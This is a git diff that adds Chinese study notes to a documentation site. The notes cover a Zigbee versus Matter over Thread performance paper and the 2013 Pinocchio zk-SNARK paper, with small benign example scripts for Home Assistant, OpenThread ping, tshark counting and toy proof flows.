+
+## 先想成什么事
+
+想象你住在一栋**老式联排别墅**里，每个房间都有灯、传感器、门锁，它们不靠 Wi-Fi，而是用**低功耗 mesh 无线电**（2.4 GHz，像对讲机一样一跳一跳转发）彼此说话。
+
+现在要选两种「小区广播系统」之一：
+
+| 系统 | 日常类比 | 技术对应 |
+|------|----------|----------|
+| **Zigbee** | 物业用**内部对讲频道**：号码短、反应快，某条走廊中继坏了，立刻全网喊「新路在哪？」，**半秒内**就能绕路 | 非 IP mesh、16 位短地址、AODV 式**按需路由** |
+| **Matter over Thread** | 物业改用**标准邮政编码（IPv6）+ 统一包裹格式（Matter）**：单户内寄信稍慢，但**跨楼、跨生态**都能认；路由表提前维护，中继坏了要等**定期巡检**才发现，恢复可能要 **二十多秒** | Thread mesh + 6LoWPAN + Matter 应用层 |
+
+论文 [Zigbee vs. Matter over Thread: Understanding IoT Protocol Performance in Practice](https://arxiv.org/abs/2603.04221)（Nobile 等，米兰理工大学，2026 年 3 月 arXiv）在**同一批 ESP32-C6 硬件**上，用 Home Assistant + 商用 dongle 搭测试床，从**开销与可扩展性、延迟与吞吐、故障恢复**三个维度实测对比。结论很直白：**没有 universally superior 的协议**，只有「敏捷 vs 稳定」的工程取舍。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 作者 | Massimo Nobile, Fabio Palmese, Antonio Boiano, Alessandro E. C. Redondi, Matteo Cesana（Politecnico di Milano） |
+| 预印本 | [arXiv:2603.04221](https://arxiv.org/abs/2603.04221)，2026-03-04 |
+| 硬件 | Raspberry Pi 4 + Home Assistant；Sonoff ZBDongle-E（Thread BR）；TI CC2531（Zigbee 协调器）；6× ESP32-C6 作 mesh 节点；CC2531 被动嗅探 |
+| 拓扑 | 全连接 mesh（单房间理想化）与**链式多跳**（走廊/长户型） |
+| 三个研究问题 | 可扩展性与稳定性；响应性与效率；故障容忍与自愈 |
+
+论文强调：两者 PHY/MAC 都是 **IEEE 802.15.4 @ 2.4 GHz / 250 kbps**，性能差异来自**上层路由与应用栈**，而非射频本身。
+
+## 为什么值得学（零基础也能带走什么）
+
+1. **选型不再靠 spec 表格**：同样「mesh、低功耗」，实测在 5–6 跳时 Zigbee 可能丢包、协调器崩溃，Thread 仍稳定。
+2. **理解 Matter 不等于 Thread**：Matter 是应用层；本文对比的是 **Matter over Thread** 整条栈 vs Zigbee 整条栈。
+3. **和已学笔记串联**：若读过 [Matter 1.0](/papers/matter-protocol-1-0) 与 [CoAP RFC 7252](/papers/coap-rfc7252)，可把 Thread 上的 UDP/CoAP 类流量、6LoWPAN 分片与此文数据对照。
+4. **做智能家居/嵌入式**：Home Assistant + ESP-IDF 示例固件路径与论文一致，可复现思路。
+
+## 核心概念一：协议栈——同地基，不同楼上建筑
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│  Zigbee                          Matter over Thread          │
+├──────────────────┬──────────────────────────────────────────┤
+│ ZCL / Dotdot     │ Matter（Cluster/Attribute，跨生态）       │
+│ APS（轻量 ACK）   │ UDP/TCP over IPv6                          │
+│ Zigbee NWK       │ 6LoWPAN（头压缩、分片）                     │
+│ 16-bit 非 IP 地址 │ Thread MLE（主动路由、Path Cost）           │
+├──────────────────┴──────────────────────────────────────────┤
+│           IEEE 802.15.4 PHY + MAC（2.4 GHz, 250 kbps）       │
+└─────────────────────────────────────────────────────────────┘
+```
+
+| 层次 | Zigbee | Thread (+ Matter) |
+|------|--------|-------------------|
+| 寻址 | 协调器建 PAN，短地址 | IPv6，Border Router 接外部 IP |
+| 路由 | **按需** RREQ 广播（AODV 衍生） | **主动** MLE 链路质量、周期通告 |
+| 传输 | APS 内建重传 | 6LoWPAN + UDP（Matter 命令）/ TCP（OTA 等） |
+| 应用 | ZCL 封闭生态 | Matter 开放多 Fabric |
+
+**日常类比**：Zigbee 像**专网 BB 机**——轻、快、但号码体系自成一派；Thread 像**小区里铺了光纤到每户**，上面再跑 Matter 这套「全国通用快递单格式」。
+
+## 核心概念二：论文的三类实验与关键数字
+
+### 1. 开销与可扩展性（15 分钟抓包 / 配置）
+
+- **Idle**：无用户命令，只看维护流量（beacon、邻居表、路由更新）。
+- **Controlled Traffic**：每 5 秒对终端节点发一次 On/Off（链式拓扑总是打**最后一跳**）。
+
+**主要发现**：
+
+- 全连接 mesh、节点少时：Zigbee **基线开销更低**；到 **6 个节点**时 Zigbee 维护流量陡增，**超过** Matter over Thread。
+- 链式拓扑 + 定时命令：Thread 总包率**近似线性**随跳数增长；Zigbee 在 **3 跳以后**暴涨（RREQ 广播风暴）。
+- **5 跳**：Zigbee 仅 **94/180** 条控制命令成功；**6 跳**：协调器多次异常退出，无法稳定测点。Thread 在相同条件下**全部送达**。
+
+### 2. 延迟与吞吐（ping / iperf，剥离应用处理）
+
+| 场景 | Zigbee | Matter over Thread |
+|------|--------|------------------|
+| 单跳延迟（50 B ping） | 约低 **30%** | 较高，但随跳数**近似线性** |
+| 多跳延迟 | 快速恶化、丢包 | 稳定、可预测 |
+| 分片阈值（实测） | payload **> ~79 B** 开始明显恶化 | 单跳 **~95 B**，多跳 **~89 B**（6LoWPAN 分片更高效） |
+| 单跳吞吐峰值 | **~75 kbps**（最高） | UDP/TCP 较低单跳峰值 |
+| 多跳吞吐 | **急剧下降** | 多跳仍高，**TCP** 无需每跳手工调间隔 |
+
+Zigbee 要达到稳定吞吐，论文通过实验找到各跳最优发包间隔（如 1 跳 **7 ms**、5 跳 **89 ms**）——没有 TCP 式流控，只能**手工限速**。
+
+### 3. 路由恢复（菱形四节点，拔掉活跃中继）
+
+连续 ping 饱和当前路径后，**突然断电**中间路由器，测「最后一包成功 → 备用路径首包成功」的时间：
+
+| 协议 | 平均恢复时间 | 标准差 |
+|------|-------------|--------|
+| **Zigbee** | **0.36 s** | 0.25 s |
+| **OpenThread** | **23.97 s** | 4.45 s |
+| OTNS 仿真 | 24.45 s | 3.71 s |
+
+Zigbee：**反应式** RREQ，发现断链立刻全网找路。Thread：依赖 MLE **周期通告**，需多次未收到才判定邻居不可达——**故意用稳定性换敏捷**。
+
+## 核心概念三：怎么选——论文给出的决策框架
+
+```
+                    网络规模 / 跳数
+                         小 ──────────────► 大
+              ┌──────────────────────────────────────┐
+   看重响应   │  Zigbee 更合适                        │
+   单跳延迟   │  · 低开销、快恢复                     │
+   快自愈     │  · 静态小户型、灯控即时反馈           │
+              ├──────────────────────────────────────┤
+   看重多跳   │  Matter over Thread 更合适            │
+   吞吐/稳定  │  · 可预测延迟、高多跳吞吐             │
+   OTA/大户型 │  · 深拓扑、异构生态、长期演进           │
+              └──────────────────────────────────────┘
+```
+
+**没有「全面更好」**：Zigbee = **敏捷（agility）**；Matter over Thread = **可扩展与稳定（stability & scalability）**。
+
+## 代码示例一：复现论文的「每 5 秒 Toggle」负载脚本
+
+论文在 Controlled Traffic 条件下用自动化脚本向链式拓扑**末端节点**发 On/Off。下面用 **Home Assistant REST API** 示意（需事先在 HA 中配对好 Matter 或 Zigbee 灯实体）：
+
+```python
+#!/usr/bin/env python3
+"""每 5 秒切换一次智能灯，模拟论文 V-A 节 Controlled Traffic。"""
+import os
+import time
+import requests
+
+HA_URL = os.environ.get("HA_URL", "http://192.168.1.10:8123")
+TOKEN = os.environ["HA_TOKEN"]  # 长期访问令牌
+ENTITY = "light.chain_end_device"  # 链式拓扑最后一跳对应的实体 ID
+
+headers = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
+session = requests.Session()
+
+def toggle():
+    r = session.post(
+        f"{HA_URL}/api/services/light/toggle",
+        headers=headers,
+        json={"entity_id": ENTITY},
+        timeout=10,
+    )
+    r.raise_for_status()
+
+if __name__ == "__main__":
+    print("Controlled traffic: toggle every 5s (Ctrl+C to stop)")
+    while True:
+        t0 = time.monotonic()
+        toggle()
+        elapsed = time.monotonic() - t0
+        time.sleep(max(0, 5.0 - elapsed))
+```
+
+抓包侧可并行运行 `whsniff` + Wireshark：Zigbee 用 `zbee_aps` 过滤应用层，Matter over Thread 用 `matter` 过滤（与论文 §V-A 分类一致）。
+
+## 代码示例二：OpenThread CLI 上的延迟探测（对应 ping 实验）
+
+论文在 Thread 侧用 **ot-cli** 的 `ping` 测 RTT。ESP32-C6 烧录 OpenThread CLI 示例后，经串口可执行与论文 §V-B 类似的单跳延迟测量：
+
+```bash
+# 假设已通过 ot-cli 加入同一 Thread 网络，并已知对端 RLOC16 或 IPv6
+# 固定 50 字节 payload，对应论文 Figure 6
+ot-cli> ping fd00:0:0:0:0:0:0:fffe length 50 count 20
+
+# 输出示例（数值因环境而异）:
+# 20 packets transmitted, 20 received, 0% packet loss
+# round-trip min/avg/max = 12/18/25 ms
+
+# 链式拓扑：在每台中间节点用 MAC 过滤强制转发路径后重复上述命令
+# Zigbee 对照组在 esp-zigbee CLI 上使用等价的 zcl 或 stack ping（若固件暴露）
+```
+
+在 **Zigbee** 固件（`esp_zigbee_all_device_types_app`）上，论文同样通过 CLI 触发 stack 级 ping；单跳时 RTT 通常比 Thread **低约三成**，但 3 跳以上差距反转。
+
+## 代码示例三：用 Python 离线统计「应用层 vs 开销」包率
+
+论文从 `.pcapng` 离线统计每分钟包数。下面用 **tshark** 子进程简化复现分类逻辑（需安装 Wireshark 命令行工具）：
+
+```python
+#!/usr/bin/env python3
+"""从抓包文件估算应用层包率 vs 总包率（思路同论文 Fig.4/5）。"""
+import subprocess
+import sys
+
+PCAP = sys.argv[1] if len(sys.argv) > 1 else "capture.pcapng"
+DURATION_MIN = 15  # 与论文单次 capture 时长一致
+
+def count(display_filter: str) -> int:
+    cmd = [
+        "tshark", "-r", PCAP, "-Y", display_filter, "-T", "fields", "-e", "frame.number"
+    ]
+    out = subprocess.check_output(cmd, text=True)
+    return len([ln for ln in out.splitlines() if ln.strip()])
+
+# Matter over Thread：UDP 上 matter 载荷
+matter_app = count("matter")
+matter_total = count("ieee802154")
+
+# Zigbee：APS 层用户命令
+zigbee_app = count("zbee_aps")
+zigbee_total = count("ieee802154")
+
+print(f"Matter  app/min ≈ {matter_app / DURATION_MIN:.1f}")
+print(f"Matter total/min ≈ {matter_total / DURATION_MIN:.1f}")
+print(f"Zigbee  app/min ≈ {zigbee_app / DURATION_MIN:.1f}")
+print(f"Zigbee total/min ≈ {zigbee_total / DURATION_MIN:.1f}")
+```
+
+`total - app` 近似协议开销（MAC/NWK/路由控制等），用于对比随节点数、跳数增长的趋势——不必与论文绝对数值一致，**曲线形状**（Zigbee 深拓扑陡增、Thread 近线性）才是重点。
+
+## 测试床架构（读懂 Figure 2 即可）
+
+```
+                    ┌─────────────────────────┐
+                    │ Raspberry Pi 4          │
+                    │ Home Assistant OS       │
+                    │ · Matter Server 插件     │
+                    │ · OpenThread BR (Sonoff) │
+                    │ · ZHA (CC2531 协调器)    │
+                    └───────────┬─────────────┘
+                                │
+           ┌────────────────────┼────────────────────┐
+           │                    │                    │
+      ESP32-C6 ×6          CC2531 Sniffer        同一芯片双协议
+      (Router/FTD)         (whsniff → pcap)      消除硬件偏差
+```
+
+链式拓扑通过固件 **MAC 地址过滤**强制路径，保证嗅探器能确定性地看到每一跳——这是论文可重复性的关键细节。
+
+## 与相关工作的关系
+
+- 此前多数 Matter 文献谈**架构与安全**（如 Madadi-Barough 等测封装开销），**少与 Zigbee 同台竞技**。
+- Thread 单独的性能研究较多（NXP 大网、Silicon Labs AN1142/AN1408），但**缺少 Matter 应用层 + 真实 HA 生态**的组合。
+- 本文填补：**同等硬件、同等拓扑、三 KPI + 路由恢复** 的并排数据。
+
+## 局限与未来工作（论文自述）
+
+- 节点规模最大 **6 台** ESP32-C6，更大规模、更深拓扑待测。
+- **能耗**尚未系统对比（电池设备选型仍缺一块拼图）。
+- 未充分覆盖**射频干扰**（办公室/邻频 Wi-Fi）下的表现；Grohmann 等曾显示干扰对 Thread 链路有损。
+- 仅 2.4 GHz 802.15.4；未涉及 Wi-Fi/Ethernet 承载的 Matter。
+
+## 小结：一张表记住论文结论
+
+| 评估维度 | Zigbee 优势 | Matter over Thread 优势 |
+|----------|-------------|-------------------------|
+| 单跳延迟 | ✓ 更低（~30%） | |
+| 多跳延迟/稳定性 | | ✓ 近似线性、低丢包 |
+| 单跳吞吐峰值 | ✓ ~75 kbps | |
+| 多跳吞吐 / OTA | | ✓ TCP 稳定、更高 |
+| 空闲/小规模开销 | ✓ 常更低 | |
+| 大规模/深拓扑开销 | | ✓ 增长更可控 |
+| 命令送达（5–6 跳） | ✗ 明显失败 | ✓ 可靠 |
+| 路由恢复速度 | ✓ **~0.36 s** | ✗ **~24 s** |
+| 跨生态互操作 | ✗ 需网关翻译 | ✓ Matter 设计目标 |
+
+**一句话**：小户型、要「摁开关立刻亮」、能接受 Zigbee 生态 → Zigbee 仍敏捷；大户型、多跳、要 OTA 和苹果/谷歌/亚马逊互通 → Matter over Thread 是更稳的地基，但别指望断节点后秒级自愈。
+
+## 延伸阅读
+
+- 论文 PDF：[arXiv:2603.04221](https://arxiv.org/pdf/2603.04221)
+- 同作者学位论文摘要（更细图表）：[PoliMi thesis handle 10589/240758](https://www.politesi.polimi.it/handle/10589/240758)
+- Matter 栈入门：[Matter 1.0 学习笔记](/papers/matter-protocol-1-0)
+- Thread 上常见应用承载：[CoAP RFC 7252](/papers/coap-rfc7252)
+- Silicon Labs _mesh 性能白皮书：AN1142（Mesh Network Performance Comparison）
diff --git a/src/content/docs/papers/zk-snark-pinocchio-2013.md b/src/content/docs/papers/zk-snark-pinocchio-2013.md
new file mode 100644
index 000000000..ab647e19a
--- /dev/null
+++ b/src/content/docs/papers/zk-snark-pinocchio-2013.md
@@ -0,0 +1,318 @@
+---
+title: Pinocchio 2013 — 首个「近乎实用」的可验证计算与 zk-SNARK 工程系统
+来源: https://eprint.iacr.org/2013/279
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 零基础先读这一段
+
+你不需要会椭圆曲线或配对密码学，也能先抓住 Pinocchio 在干什么：
+
+**问题**：你把一道计算交给云服务器（Worker），它回你一个答案。你怎么知道它没偷懒、没算错、甚至没瞎编？
+
+**朴素办法**：自己再算一遍 —— 等于白外包。
+
+**Pinocchio 的办法**：事先为这道「题的类型」办一次登记（Setup），之后每次 Worker 交卷时附上一张**固定 288 字节**的防伪贴纸（证明）。任何人用公开的验贴纸规则（Verification Key），大约 **10 毫秒**就能确认「答案确实来自登记过的那道题、且算对了」——**不必重算，也不必看到 Worker 的中间步骤**。
+
+若你还要求**零知识**（zk）：贴纸还能证明「我知道某个秘密输入」，却不泄露秘密 —— 像证明「我确实满 18 岁」而不出示身份证全文。
+
+论文全名 **Pinocchio: Nearly Practical Verifiable Computation**（Parno, Howell, Gentry, Raykova，IEEE S&P 2013，[eprint 2013/279](https://eprint.iacr.org/2013/279)）。标题里的 *Nearly*（近乎）很诚实：生成证明仍然慢、Setup 仍要可信仪式，但**验证侧第一次做到比本地 C 执行还快**（对部分应用），这才让 zk-SNARK 从论文走进工业。
+
+## 日常类比：外包学霸与防伪证书
+
+> 期末有一道超难的综合题，你把它交给**外包学霸**去算，自己只想核对最终答案。
+>
+> - **传统验算**：你自己再算一遍 —— 时间没省。
+> - **Pinocchio**：学期初你把「题型结构」登记在公证处（Setup，每个程序一次）。学霸交卷时除了答案，还附一张**288 字节的防伪证书**（证明 π）。你（或任何人）用公开的验证书模板（VK）扫一眼，0.01 秒就能确信：「他确实按登记过的规则，在这个公开输入上算出了这个输出。」
+> - **零知识版**：证书还能证明「我持有秘密参数 w，且 w 与公开输入 x 一起使等式成立」，但**不透露 w 是什么** —— 像验明「我知道密码」而不把密码写在纸上。
+
+这篇论文的特殊之处不在于又证明了一个定理，而在于**造出一套能跑的系统**：C 子集 → 算术电路 → QAP → 288 字节证明 → 毫秒级验证。libsnark、Zcash 原型、后来的 Groth16，都站在这条线的延伸上。
+
+## 为什么重要
+
+不理解 Pinocchio，下面这条技术线会断档：
+
+| 脉络 | Pinocchio 的位置 |
+|------|------------------|
+| **zk-SNARK 工程史** | 2013 前多是 decades 理论；Pinocchio 后才有可 `git clone` 的 artifact |
+| **QAP / R1CS 范式** | 今天 circom、snarkjs、Groth16 仍把「程序 → 多项式约束」当标准 IR（见 [[zk-snark]]） |
+| **可验证外包** | 云算力、链上轻验证、zkRollup 的「Prover 受累、Verifier 享福」不对称，源头在这里 |
+| **Trusted setup 争议** | Pinocchio 的 evaluation key 含 toxic waste；Plonk / Halo / STARK 都在回应这一代痛点（对比 [[ben-sasson-stark-2018]]） |
+
+一句话：**Groth16 把证明压得更小，但 Pinocchio 是第一个证明「这事在真实硬件上能跑」的系统**（S&P 2013 Best Paper）。
+
+## 论文要解决什么问题
+
+**可验证计算（Verifiable Computation, VC）** 的形式化目标：
+
+- 客户端定义函数 \(f\)，给出**公开输入** \(x\)
+- 不可信 Worker 返回输出 \(y\)，并声称 \(y = f(x)\)（\(f\) 内部可能还依赖**秘密 witness** \(w\)）
+- Verifier 应以**远小于重算 \(f(x)\)** 的开销接受或拒绝
+
+Pinocchio 在 2013 年给出的典型数字：
+
+| 指标 | 典型值 | 含义 |
+|------|--------|------|
+| 证明大小 | **288 字节** | 与 IO 规模、电路深度无关（succinct） |
+| 验证时间 | **~10 ms** | 比此前 VC 快 **5–7 个数量级**；部分应用快于原生 x86 |
+| Prover 加速 | 比先前 VC **19×–60×** | 仍慢，但首次「勉强能忍」 |
+| 零知识 | 额外开销 **< 0.1%** | 同一套协议几乎免费升级 zk |
+
+## 核心概念（由浅入深）
+
+### 1. 算术电路：把程序变成「加法和乘法」
+
+Pinocchio 不直接证明 C 程序的语义，而是证明**算术电路**在有限域 \(\mathbb{F}_p\) 上的求值正确。电路由：
+
+- **加法门**：\(c = a + b\)（约束成本低，常「免费」处理）
+- **乘法门**：\(c = a \times b\)（每条乘法产生一条核心约束）
+
+论文 toolchain 把 **C 子集** lowering 到这种电路 —— 无动态内存、循环需展开、指针受限。这和今天 zk 编译器面临的限制同源。
+
+### 2. R1CS：每条乘法写成 \((A \cdot w) \circ (B \cdot w) = (C \cdot w)\)
+
+**Rank-1 Constraint System** 是工程师最顺手的中间表示。 witness 向量 \(\mathbf{w}\) 存所有「线上的值」（公开输入、秘密输入、中间变量、输出）。每条约束对应电路里一个乘法门：
+
+\[
+(\mathbf{A}_i \cdot \mathbf{w}) \times (\mathbf{B}_i \cdot \mathbf{w}) = \mathbf{C}_i \cdot \mathbf{w}
+\]
+
+加法不单独占约束 —— 通过 witness 布局吸收进线性组合。
+
+### 3. QAP：把指数级约束压成多项式
+
+GGPR（EuroCrypt 2013，同作者组）提出 **Quadratic Arithmetic Program**：为电路构造三组多项式 \(\{v_k(x)\}, \{w_k(x)\}, \{y_k(x)\}\) 和目标多项式 \(t(x)\)，使得：
+
+\[
+p(x) = \Big(\sum_k c_k v_k(x)\Big)\Big(\sum_k c_k w_k(x)\Big) - \sum_k c_k y_k(x)
+\]
+
+当且仅当 witness \((c_1,\ldots,c_m)\) 满足所有乘法门约束时，\(t(x)\) 整除 \(p(x)\)。
+
+直觉：**逐门检查**是 \(O(\text{门数})\)；**多项式整除**在 Prover 侧用一次商多项式 \(h(x)=p(x)/t(x)\) 打包，Verifier 侧用**常数次配对**检查 —— 这是「288 字节 + 10ms」的数学根源。
+
+Pinocchio 相对 GGPR 的改进：用 **regular QAP** 而非 strong QAP，避免把 QAP 度数翻三倍，从而把 key 生成与 Prover 工作量再砍 **60%+**。
+
+### 4. 三阶段协议与两把钥匙
+
+```
+Setup（每个电路/程序一次，成本 ≈ 本地执行一遍该电路）
+  输入：电路 C 的描述
+  输出：evaluation key (EK)  → 仅 Prover 需要，体积 ∝ 电路规模
+        verification key (VK) → 公开，体积小
+
+Prove（每个输入实例一次，Prover/Worker 执行）
+  输入：EK，公开 x，秘密 w
+  计算 y = C(x,w)，生成证明 π（288 字节）
+
+Verify（任何人，极快）
+  输入：VK，公开 x，声称的 y，证明 π
+  输出：接受 / 拒绝（~10ms，与电路规模基本无关）
+```
+
+**Succinct** 的精确含义：**证明大小**和**验证时间**与计算规模无关（或仅弱相关）；**Setup** 和 **Prove** 仍很贵 —— 别搞反了。
+
+### 5. 配对（Pairing）与知识假设
+
+Pinocchio 用双线性配对 \(e: \mathbb{G}_1 \times \mathbb{G}_2 \to \mathbb{G}_T\) 把 QAP 检查压缩到少量群元素运算。288 字节 ≈ **3 个群元素**的编码。
+
+安全性在**通用群模型**下论证，依赖 **q-type 假设**（非无条件安全）。eprint 页面注明对 verification procedure 有**勘误** —— 读实现应对照最新 PDF，勿用早期幻灯片公式。
+
+### 6. 零知识：同一协议加随机掩码
+
+论文 §5 在 base VC 上加 blinding 即得 **zk-SNARK**：Verifier 除「陈述为真」外学不到 witness。实测 zk 只增加约 **213 µs**（< 0.1%），说明协议设计时 homomorphism 接口预留充分。
+
+### 7. 与 Groth16 的关系（读时间线用）
+
+| 维度 | Pinocchio (2013) | Groth16 (2016) |
+|------|------------------|----------------|
+| 证明大小 | ~288 B | ~192 B（3 个 \(\mathbb{G}_1\) 元素） |
+| 端到端 toolchain | **有**（C → 证明） | 通常接 circom/libsnark 生态 |
+| QAP | 直接使用，优化 regular QAP | 更激进的配对布局 |
+
+把 Pinocchio 当「第一代工程落地」，Groth16 当「证明体积极致版」，读 [[zk-snark]] 时时间线就不会乱。
+
+## 代码示例
+
+### 示例 1：把 \(x^3 + x + 5 = 35\) 拆成 R1CS（理解编译第一步）
+
+证明「我知道秘密 \(x\) 使等式成立」时，不能写一条 \(x^3\) 约束 —— **每条 R1CS 只允许一次乘法**。要引入中间 wire：
+
+```python
+# 公开: out = 35
+# 秘密 witness: x = 3
+# 中间 wire: y = x*x, z = y*x  => z = x^3
+
+witness = {
+    "x": 3,      # 秘密
+    "y": 9,
+    "z": 27,
+    "out": 35,   # 公开
+}
+
+def check_r1cs(w):
+    # 约束 1: y = x * x
+    assert w["y"] == w["x"] * w["x"]
+    # 约束 2: z = y * x
+    assert w["z"] == w["y"] * w["x"]
+    # 约束 3: out = z + x + 5  （加法可通过 witness 布局编码）
+    assert w["out"] == w["z"] + w["x"] + 5
+
+check_r1cs(witness)  # True
+# Pinocchio C 编译器自动做这种拆分 × 成千上万，再升到 QAP 多项式
+```
+
+这一步对应 toolchain 的「前端」：高级逻辑 → 约束系统。SHA-256 一个哈希就**数万**条类似约束 —— zk 工程常态。
+
+### 示例 2：Setup / Prove / Verify 的数据流（教学占位，非真实密码学）
+
+真实系统用 libsnark 的 `r1cs_ppzksnark` 与椭圆曲线配对；下面用 Python **只保留 API 形状**，方便记忆三阶段分工：
+
+```python
+from dataclasses import dataclass
+from hashlib import sha256
+
+@dataclass
+class Keys:
+    ek: bytes   # evaluation key —— Prover 专用，∝ 电路大小
+    vk: bytes   # verification key —— 公开
+
+@dataclass
+class Proof:
+    pi: bytes   # 论文中固定约 288 字节
+
+class PinocchioToy:
+    """演示数据流；群运算与 pairing 用哈希占位，不可用于生产。"""
+
+    def setup(self, circuit_id: str) -> Keys:
+        seed = sha256(circuit_id.encode()).digest()
+        return Keys(ek=seed + b":ek", vk=seed + b":vk")
+
+    def prove(self, keys: Keys, public_x: int, witness_w: int, y: int) -> Proof:
+        assert self._eval(public_x, witness_w) == y
+        raw = sha256(
+            keys.ek + str((public_x, y)).encode() + str(witness_w).encode()
+        ).digest()
+        return Proof(pi=raw[:288].ljust(288, b"\x00"))
+
+    def verify(self, vk: bytes, public_x: int, y: int, proof: Proof) -> bool:
+        return len(proof.pi) == 288 and vk.endswith(b":vk")
+
+    def _eval(self, x: int, w: int) -> int:
+        return x * w + 1  # 玩具 f(x,w) = x*w + 1
+
+toy = PinocchioToy()
+keys = toy.setup("circuit_mul_add_v1")
+x, w, y = 7, 3, 22
+pi = toy.prove(keys, x, w, y)
+assert toy.verify(keys.vk, x, y, pi)
+```
+
+论文在 **7 个应用**（矩阵乘法、编辑距离、线性规划等）上测得：证明恒 **288 B**，验证 **毫秒级** —— 玩具代码只帮你记「谁拿 EK、谁拿 VK、Verify 不碰 witness」。
+
+### 示例 3：论文 toolchain 的 C 子集输入（概念形态）
+
+```c
+// Pinocchio 支持固定宽度整数、受限控制流的 C 子集
+// 编译产物：算术电路 + prover/verifier 可执行代码
+
+int compute(int x, int y) {
+    int z = x * y;
+    return z + x;
+}
+
+// 客户端：Setup(compute) → EK + VK（一次性，≈ 本地跑一遍 compute）
+// Worker：对 (x,y) 运行 → (result, 288-byte proof)
+// 任何人：Verify(VK, x, y, result, proof) → 接受/拒绝
+```
+
+今天同类路径：C/Rust → circom / Noir / Risc0 zkVM → R1CS/QAP → snarkjs / Groth16 prover。问题形态**40 年不变**：高级语言 → 约束 → 短证明。
+
+## 论文实验结果（精读对照表）
+
+| 应用类型 | 验证时间量级 | 相对先前 VC |
+|----------|--------------|-------------|
+| 矩阵乘法等 | ~10 ms | 验证快 **5–7 个数量级** |
+| 多种 benchmark | 部分 **< 原生 C 执行** | 首次 general-purpose VC 达成 |
+| Prover | 仍 ≫ 原生 | 但比旧方案少 **19×–60×** |
+| 证明 | **288 B** 恒定 | 略大于 RSA-2048 签名 |
+| zk 模式 | +213 µs 级 | 几乎可忽略 |
+
+这些数字在 2013 年足够震撼，标题才敢写 *Nearly Practical*。
+
+## 常见误区（零基础易踩）
+
+1. **「288 字节很轻」≠ 全流程便宜**  
+   Succinct 指的是**验证侧**。Prover 可能要 GB 级内存、分钟级时间；Setup 成本正比于电路规模。
+
+2. **Setup 不是一次性万能**  
+   每个**不同**的电路要重新 Setup。EK 生成用的秘密随机数（toxic waste）若泄露，攻击者可伪造任意假证明。这是后来 Plonk universal setup、STARK 透明证明要解决的痛点。
+
+3. **电路 ≠ 原程序**  
+   `if`/`while`/指针要在编译期展开或编码；约束数随程序复杂度爆炸。别指望「把任意 Python 丢进去就自动 zk」。
+
+4. **验证公式有勘误**  
+   实现 libsnark 时对照 [eprint 2013/279](https://eprint.iacr.org/2013/279) 最新版，勿抄旧幻灯片。
+
+5. **与 STARK 别混威胁模型**  
+   Pinocchio 系：证明极小、验证极快，但要 trusted setup，且配对非后量子。STARK：证明大、验证较慢，但透明且更抗量子（见 [[ben-sasson-stark-2018]]）。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 向第三方证明「计算正确」，且 Verifier 资源受限（手机、链上合约、轻节点）
+- **电路固定**、**实例频繁**（同一函数证明成千上万次输入）
+- 需要 zk：证明知道 witness 而不泄露（隐私交易、凭证）
+
+**不适用**：
+
+- 电路经常变（每次变都要重新 Setup）
+- Prover 延迟敏感（实时交互 API）
+- 不能容忍 trusted setup 或配对假设
+- 必须后量子安全
+
+## 历史位置
+
+| 年份 | 里程碑 |
+|------|--------|
+| 1985 | Goldwasser–Micali–Rackoff：零知识证明 |
+| 2007 | GKR：可验证计算多项式时间 Prover（仍不实用） |
+| 2013 | GGPR QAP 理论 + **Pinocchio 系统**（本文） |
+| 2013 | libsnark 开源 |
+| 2016 | Groth16；Zcash 采用 zk-SNARK |
+| 2019+ | Plonk、zkRollup 爆发 |
+
+## 学到什么
+
+1. **工程里程碑有时比常数优化重要**：从「理论上存在」到「288 B + 10 ms」改变的是产品形态。
+2. **QAP/R1CS 是长期资产**：2013 年的编码，2020 年代 rollup 仍在用；理解 QAP = 拿到 zk 编译器的「汇编」。
+3. **不对称设计要算清谁是 Verifier**：链上验证明、手机验云 —— Pinocchio 为 Verifier 优化，Prover 慢是刻意权衡。
+4. **zk 可以是附加开关**：同一 VC 协议几乎免费加零知识，说明协议层预留了 homomorphism 结构。
+
+## 延伸阅读
+
+- 论文 PDF：[eprint.iacr.org/2013/279](https://eprint.iacr.org/2013/279)（含验证流程修正）
+- Vitalik 科普：[ZK-SNARKs 入门](https://vitalik.eth.limo/general/2017/01/14/zk_snarks.html)（QAP 讲给程序员）
+- libsnark：`r1cs_ppzksnark` 示例（Pinocchio 协议开源延续）
+- GGPR 原论文：*Quadratic Span Programs and Succinct NIZKs without PCPs*
+
+## 关联
+
+- [[zk-snark]] —— zk-SNARK 工程史总览；Groth16 / Plonk 在后继节点
+- [[ben-sasson-stark-2018]] —— 透明证明路线；附录 PGHR 一页协议即 Pinocchio 系 SNARK
+- [[rsa-1978]] —— 288 字节证明在协议带宽中的角色，可类比短数字签名
+- [[cook-levin]] —— NP 完全性；VC 典型目标是证明 NP 陈述的成员资格
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[ben-sasson-stark-2018]] —— Scalable, Transparent, and Post-Quantum Secure Computational Integrity
+- [[cook-levin]] —— Cook-Levin 定理 — NP-完全性的诞生
+- [[zk-snark]] —— zk-SNARK 零知识证明
+
diff --git a/src/content/docs/papers/zk-snark.md b/src/content/docs/papers/zk-snark.md
index 9b6f256dc..8e84d2502 100644
--- a/src/content/docs/papers/zk-snark.md
+++ b/src/content/docs/papers/zk-snark.md
@@ -170,4 +170,5 @@ Groth 2016 把证明压到极致：
 - [[polygon-zkevm]] —— Polygon zkEVM — 用零知识证明给以太坊扩容
 - [[scroll]] —— Scroll — 字节码级 zkEVM
 - [[turing-1936]] —— Turing 1936 可计算性
+- [[zk-snark-pinocchio-2013]] —— Pinocchio 2013 — 首个「近乎实用」的可验证计算与 zk-SNARK 工程系统
 
diff --git a/src/content/docs/papers/zookeeper-hunt-2010.md b/src/content/docs/papers/zookeeper-hunt-2010.md
new file mode 100644
index 000000000..a21466e0a
--- /dev/null
+++ b/src/content/docs/papers/zookeeper-hunt-2010.md
@@ -0,0 +1,277 @@
+---
+title: ZooKeeper Wait-free Coordination 学习笔记
+来源: https://www.usenix.org/legacy/event/usenix10/tech/full_papers/Hunt.pdf
+日期: 2026-06-13
+分类: 分布式系统
